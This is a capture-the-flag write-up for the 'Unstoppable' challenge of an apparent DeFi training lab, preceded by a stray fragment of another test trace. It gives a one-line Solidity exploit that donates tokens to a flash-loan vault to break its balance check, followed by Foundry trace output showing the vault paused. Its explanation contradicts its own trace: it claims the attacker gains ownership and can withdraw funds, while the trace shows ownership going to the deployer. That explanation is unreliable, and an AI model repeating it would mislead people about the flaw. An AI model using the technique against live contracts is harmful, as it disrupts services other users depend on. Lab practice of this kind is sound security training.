    ├─ [0] VM::assertEq(1000000000000000000000000 [1e24], 1000000000000000000000000 [1e24], "Not enough tokens in recovery account") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.70ms (4.16ms CPU time)


Unstoppable Challenge

Challenge Overview

This challenge involves exploiting a flashloan vulnerability in the UnstoppableVault contract. The vault offers flash loans with a fee and allows the owner to pause the contract and execute arbitrary changes. The goal is to exploit the flashloan mechanism, triggering an unwanted state change.

Smart Contract Breakdown

Important State Variables

  • FEE_FACTOR: The fee for flashloans (5%).
  • GRACE_PERIOD: The period after which the flashloan fee changes.
  • feeRecipient: The address to which the flashloan fees are sent.
  • end: The timestamp that determines the end of the grace period.

Critical Functions

  • maxFlashLoan: Returns the maximum amount for a flashloan based on the total assets in the vault.
  • flashFee: Calculates the fee for the flashloan.
  • flashLoan: Executes the flashloan by transferring tokens, calling the borrower’s callback, and ensuring the correct fee is returned.
  • execute: Allows the owner to execute arbitrary changes when the contract is paused.
  • setPause: Pauses or unpauses the vault.

⚠️ Potential Vulnerability

The vault is vulnerable to a Denial of Service (DoS) attack via the flashloan function. An attacker can trigger a failure in the flashLoan function, causing the vault to enter a paused state and preventing further flashloans.

Vulnerability Explained

The vulnerability occurs when the flashLoan function fails due to an invalid state (e.g., an incorrect balance). If this happens, the vault is paused, and ownership is transferred to the attacker. This results in the vault being stuck in a paused state, rendering the flashloan feature unusable.

Exploit Strategy

  1. FlashLoan Attack: The attacker initiates a flashloan with an invalid amount or token to trigger the revert condition in the flashLoan function.
  2. Vault Pause: Upon failure, the vault enters a paused state, preventing any further flashloans.
  3. Ownership Transfer: The attacker gains control of the vault by transferring ownership, allowing them to alter the contract or withdraw funds.

Exploit Code (Solidity)

function test_unstoppable() public checkSolvedByPlayer {
    // DOS attack by using an external call to the vault to stop the flashloan
    token.transfer(address(vault), 2);
}

Proof of exploit

Ran 1 test for test/unstoppable/Unstoppable.t.sol:UnstoppableChallenge
[PASS] test_unstoppable() (gas: 74607)
Traces:
  [74607] UnstoppableChallenge::test_unstoppable()
    ├─ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
    │   └─ ← [Return]
    ├─ [13251] DamnValuableToken::transfer(UnstoppableVault: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], 2)
    │   ├─ emit Transfer(from: player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], to: UnstoppableVault: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], amount: 2)
    │   └─ ← [Return] true
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return]
    ├─ [0] VM::prank(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946])
    │   └─ ← [Return]
    ├─ [0] VM::expectEmit()
    │   └─ ← [Return]
    ├─ emit FlashLoanStatus(success: false)
    ├─ [33550] UnstoppableMonitor::checkFlashLoan(100000000000000000000 [1e20])
    │   ├─ [593] UnstoppableVault::asset() [staticcall]
    │   │   └─ ← [Return] DamnValuableToken: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
    │   ├─ [9016] UnstoppableVault::flashLoan(UnstoppableMonitor: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], DamnValuableToken: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 100000000000000000000 [1e20], 0x)
    │   │   ├─ [802] DamnValuableToken::balanceOf(UnstoppableVault: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000002 [1e24]
    │   │   ├─ [802] DamnValuableToken::balanceOf(UnstoppableVault: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000002 [1e24]
    │   │   └─ ← [Revert] InvalidBalance()
    │   ├─ emit FlashLoanStatus(success: false)
    │   ├─ [9287] UnstoppableVault::setPause(true)
    │   │   ├─ emit Paused(account: UnstoppableMonitor: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5])
    │   │   └─ ← [Stop]
    │   ├─ [5379] UnstoppableVault::transferOwnership(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946])
    │   │   ├─ emit OwnershipTransferred(previousOwner: UnstoppableMonitor: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], newOwner: deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946])
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [518] UnstoppableVault::paused() [staticcall]
    │   └─ ← [Return] true
    ├─ [0] VM::assertTrue(true, "Vault is not paused") [staticcall]
    │   └─ ← [Return]
    ├─ [573] UnstoppableVault::owner() [staticcall]
    │   └─ ← [Return] deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946]
    ├─ [0] VM::assertEq(deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], deployer: [0xaE0bDc4eEAC5E950B67C6819B118761CaAF61946], "Vault did not change owner") [staticcall]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.19ms (895.44µs CPU time)

Ran 1 test suite in 2.46s (7.19ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

*Next Challenge update soon!!